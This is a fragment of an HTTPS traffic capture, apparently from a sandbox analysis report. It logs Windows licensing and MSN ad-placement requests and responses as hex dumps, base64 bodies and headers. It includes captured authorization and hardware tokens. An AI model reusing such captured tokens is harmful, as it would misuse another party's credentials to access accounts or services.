sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.18
Content-Length: 4321
Host: licensing.mp.microsoft.com

2022-07-01 09:01:27 UTC 2266 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:27 UTC 2272 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:26 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8033
MS-CorrelationId: 785a84be-040c-4494-a07b-980fd59e573d
MS-RequestId: fc03f4cb-fa22-4ff9-b466-14599af17350
MS-CV: UznHpAHqV0GMBdER.18.1530939492.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 6

2022-07-01 09:01:27 UTC 2273 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 38 32 39 32 36 38 32 61 2d 36 38 35 30 2d 63 
30 36 63 2d 39 62 36 64 2d 39 36 34 36 66 31 36 64 34 65 64 30 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"8292682a-6850-c06c-9b6d-9646f16d4ed0"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:27 UTC 2274 IN Data Raw: 54 41 33 4c 54 41 78 56 44 41 77 4f 6a 49 79 4f 6a 4d 35 4c 6a 55 34 4e 44 41 35 4d 6a 68 61 50 43 39 43 5a 
57 64 70 62 6b 52 68 64 47 55 2b 50 43 39 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 
55 47 39 73 61 57 4e 70 5a 58 4d 2b 5a 58 6c 4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 58 54 6a 42 
54 56 31 46 70 54 32 6c 4b 62 55 31 55 55 54 4a 61 61 6b 35 70 54 6b 4d 77 4e 55 35 48 54 58 68 4d 56 46 45 31 57 6b 
52 5a 64 45 39 48 55 54 42 50 51 7a 41 78 54 31 52 42 4d 6c 70 58 56 58 70 4f 4d 6c 6b 7a 54 31 52 6e 61 57 5a 52 50 
54 30 38 4c 30 4e 31 63 33 52 76 62 56 42 76 62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 63 32 56 43 
62 47 39 6a 61 7a 35 47 51 55 46 42 51 55 77 30 51 55 46 42 52 45 70 42 
Data Ascii: TA3LTAxVDAwOjIyOjM5LjU4NDA5MjhaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3VzdG9tUG9
saWNpZXM+ZXlKc1pXZGhZM2xRY205a2RXTjBTV1FpT2lKbU1UUTJaak5pTkMwNU5HTXhMVFE1WkRZdE9
HUTBPQzAxT1RBMlpXVXpOMlkzT1RnaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCbG9jaz5
GQUFBQUw0QUFBREpB

2022-07-01 09:01:27 UTC 2275 IN Data Raw: 79 31 74 62 33 4a 6c 49 33 4a 7a 59 53 31 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 50 46 4a 6c 5a 6d 56 79 
5a 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 59 57 35 
7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 
4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 4e 6c 62 6e 5a 6c 62 47 39 77 5a 
57 51 74 63 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 7a 34 38 
52 47 6c 6e 5a 58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 
76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 
Data Ascii: y1tb3JlI3JzYS1zaGEyNTYiIC8+PFJlZmVyZW5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9
ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlI
iAvPjwvVHJhbnNmb3Jtcz48RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8w

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:27 UTC 2276 IN Data Raw: 31 5a 54 53 6c 68 4a 64 45 52 7a 59 55 46 4a 5a 6e 64 35 55 6a 6c 69 61 47 67 76 57 6c 4e 77 63 45 4e 42 
54 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 53 6e 5a 
4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 74 64 6a 64 36 53 58 56 57 64 7a 
4e 57 59 6a 64 30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 35 73 57 55 74 57 4d 33 6c 69 65 
55 35 79 53 48 6c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 54 41 7a 65 6c 46 68 4b 30 78 4d 
59 54 41 31 5a 6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 63 6d 4a 4f 54 55 4a 68 61 48 6f 
30 59 32 31 31 65 45 74 44 4e 43 39 6b 61 45 56 69 4e 30 70 61 52 6c 56 72 
Data Ascii: 1ZTSlhJdERzYUFJZnd5UjliaGgvWlNwcENBTytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHB
icnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdzNWYjd0ZlF0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z2xmWlBSQ
jVVSlp3MzJ5aTAzelFhK0xMYTA1ZmpzNmpvRW1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEViN0paRlVr

2022-07-01 09:01:27 UTC 2277 IN Data Raw: 6b 61 57 35 6e 58 31 52 35 63 47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 6a 78 42 63 33 4e 76 59 32 
6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 56 32 6c 75 5a 47 39 33 63 30 5a 6c 5a 
57 52 69 59 57 4e 72 53 48 56 69 58 7a 68 33 5a 57 74 35 59 6a 4e 6b 4f 47 4a 69 64 32 55 38 4c 30 46 7a 63 32 39 6a 
61 57 46 30 5a 57 52 51 52 6b 35 7a 50 6a 78 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 
2b 4d 54 49 35 4e 6a 41 77 50 43 39 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 50 43 
39 43 61 57 35 6b 61 57 35 6e 50 6a 78 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 79 42 55 65 58 42 6c 50 53 4a 4d 5a 
57 46 7a 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 56 56 7a 59 57 64 6c 50 53 
Data Ascii: kaW5nX1R5cGU9Ik1hY2hpbmUiPjxBc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuV2luZG93c0ZlZWRiY
WNrSHViXzh3ZWt5YjNkOGJid2U8L0Fzc29jaWF0ZWRQRk5zPjxMZWFzZVJlbmV3YWxQZXJpb2Q+MTI5N
jAwPC9MZWFzZVJlbmV3YWxQZXJpb2Q+PC9CaW5kaW5nPjxMaWNlbnNlSW5mbyBUeXBlPSJMZWFzZSIgT
GljZW5zZVVzYWdlPS

2022-07-01 09:01:27 UTC 2278 IN Data Raw: 7a 53 57 31 30 63 47 4a 74 55 57 6c 50 61 55 70 45 59 6a 49 31 4d 46 70 58 4e 54 42 4a 61 58 64 70 59 30 
64 47 61 6d 45 79 52 6d 35 61 57 45 31 70 54 32 78 30 4e 30 6c 75 51 6d 68 5a 4d 6e 52 6f 57 6a 4a 57 53 6c 70 48 56 
6e 56 6b 52 32 78 74 59 56 64 57 65 55 6c 71 62 32 6c 4e 52 45 56 34 54 6d 31 53 61 6b 31 45 53 58 52 4f 65 6d 64 34 5
7 57 6b 78 61 30 31 58 55 58 68 4d 56 31 70 71 54 56 64 4e 64 46 6c 36 5a 33 64 4e 56 47 73 78 54 6c 52 46 65 46 70 
55 52 54 4e 4a 61 58 64 70 59 30 64 47 61 6d 45 79 52 6d 35 61 56 6c 49 31 59 30 64 56 61 55 39 70 53 6e 52 6a 4d 6d 
77 30 53 57 6c 33 61 57 4e 49 53 6e 5a 61 53 46 5a 71 5a 45 56 47 61 31 70 46 4f 58 56 6a 65 55 6b 32 56 7a 45 77 63 
30 6c 75 51 6e 6c 69 4d 6c 49 78 57 54 4e 53 53 6c 70 44 53 54 5a 4a 61 6d 
Data Ascii: zSW10cGJtUWlPaUpEYjI1MFpXNTBJaXdpY0dGamEyRm5aWE1pT2x0N0luQmhZMnRoWjJWSlpHVnVkR
2xtYVdWeUlqb2lNREV4Tm1Sak1ESXROemd4WWkxa01XUXhMV1pqTVdNdFl6Z3dNVGsxTlRFeFpURTNJa
XdpY0dGamEyRm5aVlI1Y0dVaU9pSnRjMmw0SWl3aWNISnZaSFZqZEVGa1pFOXVjeUk2VzEwc0luQnliMlIxWTNSSlp
DSTZJam

2022-07-01 09:01:27 UTC 2279 IN Data Raw: 6c 49 48 68 74 62 47 35 7a 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 
79 4d 44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 49 6a 34 38 55 32 6c 6e 62 6d 56 6b 53 57 35 6d 62 7a 
34 38 51 32 46 75 62 32 35 70 59 32 46 73 61 58 70 68 64 47 6c 76 62 6b 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 
6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 
4d 54 41 76 65 47 31 73 4c 57 56 34 59 79 31 6a 4d 54 52 75 49 79 49 67 4c 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 
6c 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 
35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 
Data Ascii: lIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIj48U2lnbmVkSW5mbz48Q
2Fub25pY2FsaXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1
jMTRuIyIgLz48U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bW

2022-07-01 09:01:27 UTC 2280 IN Data Raw: 46 51 55 6c 51 52 6c 5a 61 61 6b 4a 4c 53 30 70 46 4e 45 51 33 53 45 5a 46 52 46 68 47 59 31 67 31 4d 56 
55 32 52 57 39 43 57 56 64 6f 51 57 4e 45 4d 32 46 54 53 33 4a 6d 56 6a 5a 35 53 33 4d 72 51 57 70 55 51 54 4a 49 61 
6c 52 6e 4f 46 46 4e 51 6e 70 52 52 7a 4a 72 62 48 46 43 56 47 68 50 55 6e 4a 50 5a 6e 68 71 61 53 74 78 4e 46 46 6f 5
a 55 64 31 63 6e 46 6a 64 7a 30 39 50 43 39 54 61 57 64 75 59 58 52 31 63 6d 56 57 59 57 78 31 5a 54 34 38 53 32 56 
35 53 57 35 6d 62 79 42 4a 5a 44 30 69 58 7a 42 6d 4f 44 46 69 4d 6a 52 6d 4c 57 4a 6a 4e 44 41 74 4d 6a 63 78 4d 69 
30 77 5a 44 56 6b 4c 57 55 33 59 7a 45 77 4d 44 67 31 59 7a 4d 7a 4d 43 49 2b 50 45 74 6c 65 56 5a 68 62 48 56 6c 50 
6a 78 53 55 30 46 4c 5a 58 6c 57 59 57 78 31 5a 54 34 38 54 57 39 6b 64 57 
Data Ascii: FQUlQRlZaakJLS0pFNEQ3SEZFRFhGY1g1MVU2RW9CWVdoQWNEM2FTS3JmVjZ5S3MrQWp
UQTJIalRnOFFNQnpRRzJrbHFCVGhPUnJPZnhqaStxNFFoZUd1cnFjdz09PC9TaWduYXR1cmVWYWx1ZT4
8S2V5SW5mbyBJZD0iXzBmODFiMjRmLWJjNDAtMjcxMi0wZDVkLWU3YzEwMDg1YzMzMCI+PEtleVZhbHVlPjxSU0FLZ
XlWYWx1ZT48TW9kdW

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

133 192.168.2.5 49899 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:27 UTC 2270 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&ctry=US&time=20220701T180127Z&lc=en-US&pl=en-US&i
dtp=mid&uid=8706df6d-9543-4122-b8e1-1fcdd5939be6&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=de0379140cbb42029e081be65a2bf975&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1583966&metered=false&nettype=ethernet&npid=sc-
338388&oemName=ofrcin%2C%20Inc.&oemid=ofrcin%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=ofrcin7%2C
1&tl=2&tsu=1583966&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32099&sc=6
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAATC3I5MCiNiZRUSkHLXmr2
h16E7Q++Whx3iOpPKiyn/NnUhEWye0F9WEEPnb9KQwSNFvj/XsSGU+fQ60XP5FvzL5J5wi77xbTZc9g24kpX9P1nlL
OzpG0xrAJrD+T4KTGi9jjN8SegCSaJgQHuPLjUeYbgWurckU5hBGQI0KjpxtOgLUXZnvljzLPCvjHYYX/OhLGHZdbS
UqvNgwTnOAHCEBSCdSXq8CFtA8jTWYpVrSl04xAmMUAeJPR4hszXb40dopACLqjCOIIvrBZLyAuxmy731fbSFbQ1H/
iAvCTmgj9lEZiVPz+U6YpwAm89lZBq/wg1vI6jHdUMFP1hyQFKADZgAACJJ4RTrzHcmFsAHl64pJyj4mS+EjcMo1++
7j7FW8LVCdm3VQVLEZCUoC/mtauHkEiSRovL9wW+1CopT7nzGYdH4edpX55svzZyZS8SqmheKDvO3V/G54kOnghCJs
Ljw8t8x8ONKFjBovgeYkkCEAYmUFwVim2AwwlaWILVbfX+sdJWV1Y9hVCtotsn537CzSy1amz44pTUB1DDOKDGOE8+
Nyq/73+OVuxdkyFTubqFs66OlGcZ3XH8rGTF+d0l3GDn4TcT3EOqjrs14CFqPyC4ewNQcGYapLCW9De1ZHZnZKRy/I
t9InsQvETkbqNZAM9NGTX8xJHQ4bw3HnSh2OQ4rc+9bBvI6o3MRrU3DtSsoguzalI/wy78MpXF3WPCRZluxIA96fHI
TrlorCCObhUAbJNcnw/7RZP8RwbGbtVCmPcbSj/xg2S6a7BarITjxwuT+jSbB9M9uWS+y1ce1ENId+ZnoMdS5CpNSw
KU8/+SvrIcMYNNAKagqvedAxNUXKgY/Iz0JAfVqKqUKBHXTbV+vhdol7qxDowF8UhCe4PpHTMnCZfUmLUXfvGgi6kd
dv9hzT7zBwLR9AUfvaAQ==&p=
Cache-Control: no-cache
MS-CV: BQxQr0VbTEmcKjT7.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-07-01 09:01:27 UTC 2281 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 4487
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P400089837-T700129702-C128000000000402926+B+P90+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: BSA6EmTLHaMEcvatvGHGzAgUBsUEIT2V/1TsSMmkg/l9I0MN8Sgoj7SaXSQCVU9HZPiTaJCxftMM2AR
Z/01VncEsP5fQs38jv5jUU3cuQbQCkBlAVR6cUx2l23GzRoxmKoWNUJKImiMfh6q4jmLsuryQBnRdD7VRGY1928NzF
r7mBJ+NBUwuhb57bOVJ/f7YX1RidT0UuI130vxO+y3cYa+AD9mplogRyM56WWSx0R0rEEfzzTkRrA+JNFsxYGr2fI6
JsTiUvnsJ1DZrJmYBTWXFQwauwuCoIBNPrw+5lTu3vElBja8F3htht77CzEilsqTNEb4/2m9Ss33HzUJ0UA==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 01 Jul 2022 09:01:27 GMT
Connection: close

2022-07-01 09:01:27 UTC 2282 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 74 65 6d 70 6c 61 74 65 54 79 70 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 
78 74 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"templateType\":{\"type\":\"text\"},\"onRender\":
{\"t

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

134 192.168.2.5 49901 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:27 UTC 2286 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.19
Content-Length: 4341
Host: licensing.mp.microsoft.com

2022-07-01 09:01:27 UTC 2288 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
